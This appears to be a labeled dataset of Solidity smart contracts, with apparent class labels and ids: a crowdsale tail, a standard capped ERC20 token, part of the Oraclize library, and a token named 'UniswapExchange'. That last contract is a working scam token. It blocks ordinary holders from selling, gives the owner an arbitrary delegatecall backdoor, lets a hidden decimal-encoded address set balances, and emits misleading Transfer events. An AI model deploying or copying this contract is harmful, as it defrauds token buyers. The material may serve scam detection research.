TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
return true;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= capWEI;
bool capTokensReached = tokenRaised >= capTokens;
bool ended = now > endTime;
return (capReached || capTokensReached) || ended;
}
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
uint256 bonusIntegrated = weiAmount.div(10000000000000).mul(rate).mul(bonusPercentage).div(100);
return bonusIntegrated;
}
function forwardFunds() internal returns (bool) {
wallet.transfer(msg.value);
return true;
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool underMaximumWEI = msg.value <= maximumWEI;
bool withinCap = weiRaised.add(msg.value) <= capWEI;
bool minimumWEIReached;
if ( capWEI.sub(weiRaised) < minimumWEI) {
minimumWEIReached = true;
} else {
minimumWEIReached = msg.value >= minimumWEI;
}
return (withinPeriod && nonZeroPurchase) && (withinCap && (minimumWEIReached && underMaximumWEI));
}
function transferOwnershipToken(address newOwner) onlyMultisigWallet public returns (bool) {
require(token.transferOwnership(newOwner));
return true;
}
function transferOwnership(address newOwner) onlyMultisigWallet public returns (bool) {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
return true;
}
function finalize() onlyMultisigWallet whenNotFinalized public returns (bool) {
require(hasEnded());
if (!(capWEI == weiRaised)) {
uint256 remainingTokens = capTokens.sub(tokenRaised);
require(token.burn(tokenAddress, remainingTokens));
}
require(token.transferOwnership(wallet));
isFinalized = true;
return true;
}
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function claimTokens(address _claimtoken) onlyOwner public returns (bool) {
if (_claimtoken == 0x0) {
owner.transfer(this.balance);
return true;
}
ERC20 claimtoken = ERC20(_claimtoken);
uint balance = claimtoken.balanceOf(this);
claimtoken.transfer(owner, balance);
ClaimedTokens(_claimtoken, owner, balance);
return true;
}
function pausePresale() onlyOwner public returns (bool) {
paused = true;
Paused(owner, now);
return true;
}
function resumePresale() onlyOwner public returns (bool) {
paused = false;
Resumed(owner, now);
return true;
}
} | 1 | 3,614 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,263 |
pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function () public payable {
revert();
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!frozenAccount[_from]);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MdbToken is PausableToken, CappedToken, BurnableToken {
string public name = "MEDIBEU";
string public symbol = "MDB";
uint8 public decimals = 18;
uint256 constant TOTAL_CAP = 500000000 * (10 ** uint256(decimals));
constructor() public CappedToken(TOTAL_CAP) {
}
} | 1 | 5,210 |
pragma solidity ^0.4.17;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
